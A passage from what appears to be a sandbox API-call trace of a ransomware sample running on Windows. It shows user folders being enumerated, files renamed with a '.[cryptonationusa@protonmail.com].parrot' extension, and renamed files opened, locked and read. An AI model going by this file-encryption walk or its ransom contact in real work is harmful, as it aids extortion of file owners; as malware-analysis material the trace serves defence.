(lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\_IbYzfWv.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\_ibyzfwv.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\_IbYzfWv.mkv.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\_ibyzfwv.mkv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0094.193] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22180a0 | out: hHeap=0x5b0000) returned 1 [0094.193] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0094.193] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2242f30 | out: hHeap=0x5b0000) returned 1 [0094.197] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0x6003d0 [0094.197] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc5742460, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc5742460, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.198] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61d94a50, ftCreationTime.dwHighDateTime=0x1d5c3a8, ftLastAccessTime.dwLowDateTime=0xc5683d80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc5683d80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4koIb", cAlternateFileName="")) returned 1 [0094.198] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7e0b940, ftCreationTime.dwHighDateTime=0x1d5c039, ftLastAccessTime.dwLowDateTime=0xe744f650, ftLastAccessTime.dwHighDateTime=0x1d5c1b7, ftLastWriteTime.dwLowDateTime=0xc56a9ee0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x10c48, dwReserved0=0x0, dwReserved1=0x0, cFileName="Al95BYZKA67sb9rU.swf.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="AL95BY~1.PAR")) returned 1 [0094.199] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*", fInfoLevelId=0x0, lpFindFileData=0x18fb4c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18fb4c) returned 0x600310 [0094.199] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.199] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0094.199] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0094.199] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc3d393c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc3d393c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0094.199] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0094.199] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa5885400, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5885400, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0094.199] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc4626640, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc4626640, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0094.199] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0094.199] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0094.199] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0094.199] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0094.199] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc4d96b00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc4d96b00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0094.199] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0094.199] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0094.200] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c30f920, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2c30f920, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0094.200] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c16ca00, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0094.200] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28f60c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0094.200] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0094.200] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0094.200] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0094.200] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cd94e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0094.200] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc52a59c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc52a59c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0094.200] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0094.200] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0094.200] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0094.200] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0094.200] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0094.200] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0094.200] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0094.200] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc5742460, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc5742460, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0094.200] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc5742460, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc5742460, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0094.200] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0094.200] FindClose (in: hFindFile=0x600310 | out: hFindFile=0x600310) returned 1 [0094.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7600 | out: hHeap=0x5b0000) returned 1 [0094.203] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.221] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0xd0e8 [0094.221] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd200, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.221] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.221] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.222] CloseHandle (hObject=0x23c) returned 1 [0094.222] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.222] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x8a48 [0094.222] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8b60, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.222] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.222] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.223] CloseHandle (hObject=0x23c) returned 1 [0094.223] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobesysfnt10.lst.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.223] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x21df8 [0094.224] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x21f10, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.224] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.224] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.224] CloseHandle (hObject=0x23c) returned 1 [0094.224] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\shareddataevents.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.270] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1528 [0094.270] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1640, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.270] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.271] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.272] CloseHandle (hObject=0x23c) returned 1 [0094.272] CreateFileW 